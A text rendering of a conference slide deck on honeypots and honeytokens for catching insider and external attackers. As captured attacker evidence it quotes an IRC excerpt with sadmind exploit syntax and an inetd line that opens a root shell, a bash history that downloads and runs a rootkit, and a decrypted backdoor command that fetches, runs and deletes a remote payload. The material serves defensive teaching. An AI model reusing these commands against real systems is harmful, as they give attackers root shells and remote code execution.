Honeypots: Catching the Insider Threat
Your Speaker

- President, Honeypot Technologies Inc.
- Founder, Honeynet Project & Moderator, honeypot mailing list
- Author, *Honeypots: Tracking Hackers* & Co-author, *Know Your Enemy*
- Work primarily with government and military organizations.
- Officer, Rapid Deployment Force
Purpose

To introduce a novel approach on how to detect, identify, and gather information on the advanced insider threat.
Disclaimer

Some of the concepts here are based on the ARDA Cyber Indications and Warning workshop led by the Northeast Regional Research Center at MITRE.
Agenda

- The Problem
- Honeypots
- Catching the Advanced Insider
The Problem
Initiative

Your network and information is a static target. The threat can strike whenever they want, wherever they want, however they want. They have the initiative.
Threats

- Targets of Opportunity
- Targets of Choice
Targets of Opportunity

- Focus on compromising as many computers as possible, does not care which ones.
- Motives widely vary, but goal is the same.
- Primarily an external threat.
:_pen :do u have the syntax for sadmind exploit
:D1ck :lol
:D1ck :yes
:_pen :what is it
:D1ck :./sparc -h hostname -c command -s sp [-o offset] [-a alignment] [-p]
:_pen : what do i do for -c
:D1ck :heh
:D1ck :u dont know?
:_pen :no
:D1ck :"echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >> /tmp/bob ; /usr/sbin/inetd -s /tmp/bob"
Anyone a target

Jan 8 18:47:52  honeypot -bash:  HISTORY:  PID=1246  UID=0  cd  .mail
Jan 8 18:48:00  honeypot -bash:  HISTORY:  PID=1246  UID=0  cd  /usr/sbin/.mail
Jan 8 18:48:31  honeypot -bash:  HISTORY:  PID=1246  UID=0  y
Jan 8 18:48:45  honeypot -bash:  HISTORY:  PID=1246  UID=0  tar -xvfz LUCKROOT.TAR
Jan 8 18:48:59  honeypot -bash:  HISTORY:  PID=1246  UID=0  tar -xvf L
Jan 8 18:49:01  honeypot -bash:  HISTORY:  PID=1246  UID=0  lynx www.becys.org/LUCKROOT.TAR
Jan 8 18:49:06  honeypot -bash:  HISTORY:  PID=1246  UID=0  cd luckroot
Jan 8 18:49:13  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 210
Jan 8 18:51:07  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 200 120
Jan 8 18:51:43  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 64 120
Jan 8 18:52:00  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 200
Jan 8 18:52:06  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 200
Jan 8 18:54:37  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 200 120
Jan 8 18:55:26  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 63 1
Jan 8 18:56:06  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 10
Jan 8 19:06:04  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 210 120
Jan 8 19:07:03  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 64 1
Jan 8 19:07:34  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 1
Jan 8 19:09:41  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 194 1
Jan 8 19:10:53  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 216 1
Jan 8 19:12:13  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 210 128
Jan 8 19:23:30  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 24 1
Jan 8 19:35:55  honeypot -bash:  HISTORY:  PID=1246  UID=0  ./luckgo 12 20
J4ck: why don't you start charging for packet attacks?
J4ck: "give me x amount and I'll take bla bla offline for this amount of time"
J1LL: it was illegal last I checked
J4ck: heh, then everything you do is illegal. Why not make money off of it?
J4ck: I know plenty of people that'd pay exorbitant amounts for packeting
Defending Against

- Defending against these threats is relatively simple, don't be the easy kill.
- Simple to detect, identify, and gather information on.
Targets of Choice

- Focus on specific systems of high value.
- Potentially highly skilled, may demonstrate new tools or techniques.
- Do not want to be detected.
- External and Internal threat
Debian Attack

- Threat focused on specific systems of high value (CVS repository).
- Demonstrated new tools and techniques (kernel 2.4.22 exploit)
Defending Against

- Difficult as attacker may often take their time so as not to be detected.
- New tools and techniques.
- Trusted Insider.
Initiative

Honeypots allow you to take the initiative, they turn the tables on the bad guys.
Honeypots

A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource.
The Concept

- System has no production value, no authorized activity.
- Any interaction with the honeypot is most likely malicious in intent.
Flexible Tool

Honeypots do not solve a specific problem. Instead, they are a highly flexible tool with different applications to security.
Advantages

- Collect small data sets of high value, simple to analyze and manage.
- Vastly reduce false positives.
- Catch new attacks.
- Work in encrypted or IPv6 environments.
- Minimal resources.
Disadvantages

- Limited scope of view
- Risk
Types of Honeypots

- Low-interaction
- High-interaction

Interaction measures the amount of activity an attacker can have with a honeypot.
Low-Interaction

- Emulates services and operating systems.
- Easy to deploy, minimal risk
- Captures limited information

Examples include Honeyd, Specter, KFSensor
High-interaction

- Provide real operating systems and services, no emulation.
- Complex to deploy, greater risk.
- Capture extensive information.

Examples include ManTrap and Honeynets.
Encrypted Backdoor

02/19-04:34:10.529350 206.123.208.5 -> 172.16.183.2
PROTO011 TTL:237 TOS:0x0 ID:13784 IpLen:20 DgmLen:422
02 00 17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 ...5.7.=.8...H
D3 5D D9 62 EF 6B A2 F4 2B AE 3E C3 52 89 CD 57 .]..b..k..+.>.R..W
DD 69 F2 6C E8 1F 84 E 29 B4 3B 8C D2 18 61 A9 F6 .i..l...);....a..
3B 84 CF 18 5D A5 EC 36 7B C4 15 64 B3 02 4B 91 ...].]..6{..d..K.
0E 94 1A 51 A6 DD 23 AE 32 B8 FF 7C 02 88 CD 58 ...Q..#.2..|...X
D6 67 9E F0 27 A1 1C 53 99 24 A8 2F 66 B8 EF 7A .g..'..S.$./f..z
F2 7B B2 F6 85 12 A3 20 57 D4 5A E0 25 B0 2E BF .{..... W.Z.%...
F6 48 7F C4 0A 95 20 AA 26 AF 3C B8 EF 41 78 01 .H..... &.<...Ax.
85 BC 00 89 06 3D BA 40 C6 0B 96 14 A5 DC 67 F2 ......=.@.......g.
7C F8 81 0E 8A DC F3 0A 21 38 4F 66 7D 94 AB C2 |........!8Of}...
D9 F0 07 1E 35 4C 63 7A 91 A8 BF D6 ED 04 1B 32 ....5Lcz........2
49 60 77 8E A5 BC D3 EA 01 18 2F 46 5D 74 8B A2 I`w........[/F]t..
B9 D0 E7 FE 15 2C 43 5A 71 88 9F B6 CD E4 FB 12 ......,CZq...........
29 40 57 6E 85 9C B3 CA E1 F8 0F 26 3D 54 6B 82 )@Wn........&=Tk.
Decrypted Backdoor

starting decode of packet size 420
17 35 B7 37 BA 3D B5 38 BB F2 36 86 BD 48 D3 5D
local buf of size 420
00 07 6B 69 6C 61 6C 6C 20 2D 39 20 74 74 73 65 72 76 65 20 3B 20 6C 79 6E 78 20 -9 tts erve ; lynx -sou rce http://192.168.103.2:8882/fo o > /tmp/foo.tgz ; cd /tmp ; tar -xvzf foo.tgz ; ./ttserve ; rm -rf foo.tgz ttse rve;..............
Concept

Honeypots can be used to detect, identify, and capture advanced insider threats.

Targeting a more advanced clientele.
Two Approaches

- Redirection
- Honeytokens
Redirection

- Honeypots must represent targets of high value.
- Don’t create new targets, use existing targets.
- Redirect malicious or unauthorized activity to honeypots.
- Monitor and capture threats activity.
Two Steps

- The act of redirection represents an indication of unauthorized activity.
- Confirm intent by monitoring interaction with honeypot.
Redirection

Valid inbound SMTP traffic

All inbound non TCP 25 traffic OR any SMTP based attacks

Mailserver -> Honeynet Gateway -> Target System
Redirection On

- HotZoning
- Known attacks (Bait-n-Switch)
- Host based monitoring
Hot Zoning

- Redirect all non-standard traffic to the Honeynet. For example:
  - Non-production destination ports.
  - Non-authorized source ports.
  - Time of day.
Bait-n-Switch

- Modified version of Snort that acts as an inline-gateway.
- Detected activity is redirected to honeypot.

http://violating.us/projects/baitnswitch/
Host Detection

- Monitor host for unauthorized activity, then redirect.
  - PaX
  - systrace(1)
GenII Honeynet

Diagram showing the relationship between production systems and honeypots connected to the Internet via a router and honeynet gateway.
Honeypot Content

- Must be realistic environment.
- Use the same data and applications as real system.
- Advantage is you are monitoring attacker’s every action in highly controlled environment.
Honeytokens

- Works on the concept the threat is not after a system, but information.
Honeytokens

- Items that should not be used.
  - Fake patient records
  - Bogus SSN or CC numbers
  - Emails
  - Planted files or documents (ala Cuckoo’s Egg)
  - Ability to call home
Bogus Passwords

- Create bogus login/password combination, monitor for use.
- Plant in password files to determine if anyone is cracking them.
- Plant in emails or files to determine if anyone is reading them.
Database Records

- JF Kennedy record in medical database
- Record no one has authorization to access.
- If accessed, indication of violation.
- Monitor individual.
Database Redirection

- If record is accessed, individual is redirected to honeypot.
Deployment Challenge

- How do you deploy distributed honeypots in very large networks?
Honeypot Farms

Diagram showing the network layout with Honeypot Farms, Firewall, Internet, Internal Network A, Internal Network B, and an Attacker. The diagram indicates that traffic is redirected from the Internet to the Honeypot Farms and then to the Internal Networks. The Attacker is shown scanning the Internal Network A and B.
Bootable CDROM

- Boot into a Honeyd honeypot
- Boot into a full Honeynet using User-Mode-Linux.
- Boot into a Honeywall gateway for Honeynets.
Summary

- Honeypots give us the initiative against advanced threats.

- Not only can they be used for detection and identification, but extensive information gathering.
Resources

- Honeypot website
  - www.tracking-hackers.com

- Honeypots maillist
  - www.securityfocus.com/popups/forums/honeypots/faq.html
Resources - Books

- Honeypots: Tracking Hackers